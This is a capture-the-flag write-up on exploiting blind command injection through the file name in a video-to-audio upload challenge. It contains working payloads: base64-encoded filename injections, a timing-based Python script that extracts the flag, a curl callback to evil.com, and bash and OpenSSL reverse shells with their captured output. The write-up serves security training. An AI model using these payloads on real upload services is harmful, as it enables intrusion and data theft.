## Rules ![](https://hackmd.io/_uploads/rkGqHhsq3.png) ## Table of contents - [Introduction](#Introduction) - [Finding the Vulnerability](#Finding-the-vulnerability) - [First part](#First-part) - [Second part](#Second-part) - [Exploiting the Vulnerability](#Exploiting-the-vulnerability) - [Time-based file content exfiltration](#Time-based-file-content-exfiltration) - [Reverse shell](#Reverse-shell) - [Bash reverse shell](#Bash-reverse-shell) - [OpenSSL reverse shell](#OpenSSL-reverse-shell) - [Recap](#Recap) - [Summary](#Summary) ## Introduction ![](https://hackmd.io/_uploads/ryMyXD5cn.png) ***‘Video Audio Extractor’*** is a simple web application consisting of a single page - [upload](https://challenge-0723.intigriti.io/upload), with the main purpose of a user uploading a valid *.mp4* file. The result is an extracted audio stream into a *.wav* file format being returned. To solve this challenge and get the flag, there is only one vulnerability that has to be exploited. Of course, the fun part is that it can be done in multiple ways! ## Finding the vulnerability Looking at the HTML source code of the 'upload' page, there is nothing specifically interesting. Plain HTML form which accepts a *.mp4* input file and sends a **POST** request to *"/upload"* upon clicking the submit button *"Upload and Extract Audio"*. ![](https://hackmd.io/_uploads/SkBcEtqc2.png) ### First Part Whenever there is a file upload functionality that transforms an input file - I always first test with a valid request and then I check the **EXIF** metadata of the returned file. So let's start with that. The following python code achieves that: ```python!= # python -m pip install -U pyexiftool import exiftool import requests import json import re url = "https://challenge-0723.intigriti.io:443/upload" headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Origin": "https://challenge-0723.intigriti.io" } files = {'video': open('test.mp4', 'rb')} print("[+] Sending file to /upload") response = requests.post(url, headers=headers, files=files, allow_redirects=True) print("[+] Storing " + str(re.findall('filename=(.+)', response.headers['Content-disposition']))) open("test.wav", "wb").write(response.content) print("[+] Extracting metadata from file") print() responseFile = ["test.wav"] with exiftool.ExifToolHelper() as et: metadata = et.get_metadata(responseFile) for data in metadata: print(json.dumps(data, indent=2)) ``` >*Note:* 'test.mp4' should be present in the same directory as the script > The output of the above script should be: ```bash!= └─$ python3 script.py [+] Sending file to /upload [+] Storing ['extracted_audio.wav'] [+] Extracting metadata from file { "SourceFile": "test.wav", "ExifTool:ExifToolVersion": 12.57, "File:FileName": "test.wav", "File:Directory": ".", "File:FileSize": 174394, "File:FileModifyDate": "2023:07:23 07:17:47-04:00", "File:FileAccessDate": "2023:07:23 07:17:40-04:00", "File:FileInodeChangeDate": "2023:07:23 07:17:47-04:00", "File:FilePermissions": 100644, "File:FileType": "WAV", "File:FileTypeExtension": "WAV", "File:MIMEType": "audio/x-wav", "RIFF:Encoding": 85, "RIFF:NumChannels": 2, "RIFF:SampleRate": 44100, "RIFF:AvgBytesPerSec": 24000, "RIFF:BitsPerSample": 0, "RIFF:NumberOfSamples": 320209, "RIFF:Software": "Lavf58.20.100", "Composite:Duration": 7.26641666666667 } ``` Alternatively, *exiftool* can be directly used: ```bash!= └─$ exiftool extracted_audio.wav ExifTool Version Number : 12.57 File Name : extracted_audio.wav Directory : . File Size : 174 kB File Modification Date/Time : 2023:07:23 07:24:31-04:00 File Access Date/Time : 2023:07:23 07:24:32-04:00 File Inode Change Date/Time : 2023:07:23 07:24:31-04:00 File Permissions : -rw-r--r-- File Type : WAV File Type Extension : wav MIME Type : audio/x-wav Encoding : MP3 Num Channels : 2 Sample Rate : 44100 Avg Bytes Per Sec : 24000 Bits Per Sample : 0 Number Of Samples : 320209 Software : Lavf58.20.100 Duration : 7.27 s ``` The output tells us that the software which generated the file is using the [libavformat](https://ffmpeg.org/doxygen/3.4/group__libavf.html) library. This strongly suggests that the backend is probably running the '**FFmpeg**' tool to extract the audio. So, the functionality is probably implemented similarly to this: ```!# executeOSCommand("ffmpeg -i <FILE-NAME> ... # and some other parameters") ``` >*Note: When the used library/tool is disclosed via the EXIF data, it's always a **good idea to search for known vulnerabilities*** ### Second part The second thing I always try to do when testing file upload functionality is going through the following list: 1. Test file name validation * Try [Windows reserved file names](https://help.interfaceware.com/v6/windows-reserved-file-names), spaces, '/', other special characters, ... etc 2. Test file extensions validation * Try without extensions, [web extensions](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/web-extensions.txt), [asp extensions](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Extension%20ASP), [php extensions](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst), java extensions, and more. 3. Test Content-Type validation * Try all [web content types](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/web-all-content-types.txt) & [content types](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Miscellaneous/web/content-type.txt) 4. Test [Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures) validation 5. Test for upload location disclosure 6. Test input file size validation 7. Upload [the EICAR](https://www.eicar.org/download-anti-malware-testfile/) test file >*Note: **(5)** & **(6)** & **(7)** are not applicable in the current context, however in other cases, they can yield helpful information* > --- The results from the above tests tell us the following information: * If the file name contains spaces the backend returns `Invalid filename, please make sure it is an MP4 file and does not contain any white spaces in the filename` * The file **extension must be .mp4** * There is no validation on the *Content-Type* header and on the content itself. If the mp4 file is not valid the backend will return an *'Internal Server Error'*: ```=http HTTP/2 500 Internal Server Error Date: Sun, 23 Jul 2023 12:19:00 GMT Content-Type: application/json Content-Length: 90 {"error":"That wasn't supposed to happen", "message":"Hey, stop trying to break things!!"} ``` * If **$,&,|, ...** are used in the file name the backend returns the same 500 Error Combining what we found in the *first & second parts* of the testing, we can conclude that there may be a **Blind OS Command Execution** vulnerability in the */upload* endpoint via the file name. Let's confirm that by trying the following payload -> `$(sleep${IFS}13).mp4` 1. The file name ends with .mp4 ✅ 2. There are no spaces in the file name ✅, (instead [\$\{IFS\}](https://www.baeldung.com/linux/ifs-shell-variable), [$IFS](https://www.baeldung.com/linux/ifs-shell-variable) is used) 3. The payload is using command substitution [linux sub-shell](https://unix.stackexchange.com/questions/442692/is-a-subshell/442704#442704) to execute sleep (**$()** or **``**) The result is ![](https://hackmd.io/_uploads/rkNHPiq93.png) Meaning the request took **13s+** to complete, which proves the command injection vulnerability! ## Exploiting the vulnerability The following payload template can be used, so we don't need to care about spaces and special characters: ```bash! $(echo${IFS}'<BASE64-ENCODED-COMMAND>'|base64${IFS}-d|bash).mp4 ``` For example, if you want to execute `sleep 13`, the whole file name would look like: ```bash! $(echo${IFS}'c2xlZXAgMTMK'|base64${IFS}-d|bash).mp4 ``` >*Note: `echo 'c2xlZXAgMTMK' |base64 -d == sleep 13`* Now the goal of the challenge is to extract the content of the flag.txt file, which is stored somewhere on the server. Since this is a blind OS command execution, meaning the output is not visible we need some other way to get the flag: * Time-based file content exfiltration * Reverse shell * Move flag.txt into the webroot of the server so it can be accessed through the browser But, first, let's see if we can get a network callback | Protocol | Command | Listener| | -------- | -------- | - | | HTTP | `curl evil.com:1337` | `python3 -m http.server 1337` | | ICMP | `ping evil.com` | `sudo tcpdump -i <interface> icmp` | | DNS | `dig any @<ip-addr> -p 1337 ` | `dnserver --port 1337 zones.toml` | Unfortunately, none of the requests went through, this could mean two things: 1. The commands are executed in a slim Docker container that does not have curl, wget, ping, nc or dig installed 2. All *egress* traffic is rejected As a final option let's try making a request through */dev/tcp*: ```bash!# exec 3<>/dev/tcp/<IP>/80 echo -e "GET /d HTTP/1.1\r\n" >&3 cat <&3 ``` >*Note: the final payload looks like that: `$(echo${IFS}'ZXhlYyAzPD4vZGV2L3RjcC85My4xMjMuMTYuMjE3LzgwICBlY2hvIC1lICJHRVQgL2QgSFRUUC8xLjFcclxuIiA+JjMgY2F0IDwmMw=='|base64${IFS}-d|bash).mp4`* If successful the command above should make a **HTTP GET** request: ![](https://hackmd.io/_uploads/BJV5d3953.png) **Success!** This proves that there is a connectivity between our attacker machine and the target, which means a reverse shell is possible. ### Time-based file content exfiltration However, before doing that, let's first try the time-based exfiltration approach. The logic is simple - execute a command and check the output character by character and if the correct character is found sleep for *'n'* seconds. For example, if we have the following file: ```python3!= import requests import string name = "Danny" print("Hello " + name) ``` And if want to read it character by character the following command can be used: ```bash! cat test.py| tr '\n' ' ' | cut -c 1 i ``` Which prints the '1st' character >*Note: tr '\n' ' ' is required so the whole file content is displayed in single line* Now, combining it with an if statement and sleep: ```bash! if test $(cat file | tr '\n' ' ' | cut -c 1) == i; then sleep 10; fi # If the 1st character is equal to 'i' then sleep for 10 seconds. ``` To make it easier - the following Python script can be used to exfiltrate data: ```python3= import requests import base64 import string url = "https://challenge-0723.intigriti.io:443/upload" headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------134433949610078204472740180012", "Origin": "https://challenge-0723.intigriti.io" } proxies = { "http": "http://127.0.0.1:8080/", "https": "https://127.0.0.1:8080/" } chars = list(string.printable) # decodedPayload = "`if test $(pwd | cut -c {1}) == {0}; then sleep 5; fi `" # decodedPayload = "`if test $(ls /| tr '\n' ' ' | cut -c {1}) == {0}; then sleep 5; fi `" decodedPayload = "if test $(cat /flag.txt | tr '\n' ' ' | cut -c {1}) == {0}; then sleep 5; fi " flag = "INTIGRITI{" data = """\r\n-----------------------------134433949610078204472740180012\r\nContent-Disposition: form-data; name=\"video\"; filename=\"`echo${{IFS}}{0}|base64${{IFS}}-d|bash`.mp4\"\r\nContent-Type: video/mp4\r\n\r\n\r\n-----------------------------134433949610078204472740180012--\r\n""" currIndex = 11 while True: for char in chars: payload = base64.b64encode(decodedPayload.format( char, str(currIndex)).encode('ascii')) response = requests.post(url=url, headers=headers, data=data.format(payload.decode('ascii'))) responseTime = response.elapsed.total_seconds() if (responseTime >= 5): flag += char print("[+] Character found: "+flag) currIndex = currIndex + 1 break flag += "?" currIndex = currIndex + 1 ``` Basically, it iterates through all printable characters and checks the response time if it's greater or equal to 5, then a new character is found and the index is incremented - after that, the whole process starts again for the next character. After some time the output of the script would look like that: ![](https://hackmd.io/_uploads/BkJER2q53.png) >*Note: the location of the flag was found before that by listing the current directory and the root directory* ### Reverse shell There are multiple ways to achieve reverse shell connection. I will describe two: 1. via Bash 2. via OpenSSL >*Note: Since the application is written in python and python interpreter is installed on the docker container, it's possible to do a [reverse shell with python](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python) as well* #### Bash reverse shell 1. Setup a listener with *ngrok* & *nc* ```bash! ngrok tcp 1332 # copy 'Forwarding' URL nc -nvlp 1332 # run in a separate window or pane ``` 2. Base64 encode `bash -i >& /dev/tcp/<ngrok-hostname>/<port> 0>&1` 3. Send the following payload ```bash! $(echo${IFS}'YmFzaCAtaSA+JiAvZGV2L3RjcC8yLnRjcC5ldS5uZ3Jvay5pby8xNjEyNCAwPiYx'|base64${IFS}-d|bash).mp4 ``` **Voilà!** We got the reverse shell ```=bash └─$ nc -lnvp 1332 listening on [any] 1332 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 37226 svc@challenge-0723-7cc4bc59df-mzjqn:/app$ whoami svc svc@challenge-0723-7cc4bc59df-mzjqn:/app$ hostname challenge-0723-7cc4bc59df-mzjqn svc@challenge-0723-7cc4bc59df-mzjqn:/app$ cat /flag.txt INTIGRITI{c0mm4nd_1nj3c710n_4nd_0p3n55l_5h3ll} ``` #### OpenSSL reverse shell The last part of the flag talks about 'OpenSSL_Shell' which got me curious about the intended way of solving the challenge. After some googlin', I found the following article [reverse shell with OpenSSL](https://int0x33.medium.com/day-43-reverse-shell-with-openssl-1ee2574aa998) The author shares a way of creating a reverse shell using the openssl binary. 1. Generate keys ```bash!= openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes ``` 2. Start listener ```bash!= openssl s_server -quiet -key key.pem -cert cert.pem -port <PORT> ``` 3. Launch reverse shell ```bash!= mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s ``` >*Note: The whole payload looks like that: `$(echo${IFS}'bWtmaWZvIC90bXAvczsgIC9iaW4vc2ggLWkgPCAvdG1wL3MgMj4mMSB8IG9wZW5zc2wgc19jbGllbnQgLXF1aWV0ICAtY29ubmVjdCA5My4xMjMuMTYuMjE3OjQ0MyA+IC90bXAvczsgcm0gL3RtcC9z'|base64${IFS}-d|bash).mp4"`* And indeed, this works as expected: ```bash! dnny@dnny:/dev/shm$ sudo openssl s_server -quiet -key key.pem -cert cert.pem -port 443 /bin/sh: 0: can't access tty; job control turned off $ whoami svc $ hostname challenge-0723-7cc4bc59df-mzjqn $ cat /flag.txt INTIGRITI{c0mm4nd_1nj3c710n_4nd_0p3n55l_5h3ll} ``` ## Recap 1. **EXIF** data points to 'FFmpeg' tool usage 2. File name validations and lack of sanitization suggest possible command injection 3. Command injection is proved via `$(sleep${IFS}13).mp4` file name 4. The vulnerability got exploited in 3 ways: 1. Time-based data exfiltration 2. Bash reverse shell 3. OpenSSL reverse shell ## Summary The latest challenge by Intigriti is an interesting CTF exercise which can be used to depict different ways of exploiting blind OS command execution vulnreabilities. Moreover, this exercise sheds light on prevalent bad coding practices commonly found in the implementation of file upload functionality, offering valuable insights for developers to fortify their code against potential attacks Overall, Intigriti's monthly CTF challenges not only provide an exciting and educational experience for cybersecurity enthusiasts but also play a crucial role in promoting a safer digital landscape by raising awareness about the **importance of secure coding practices**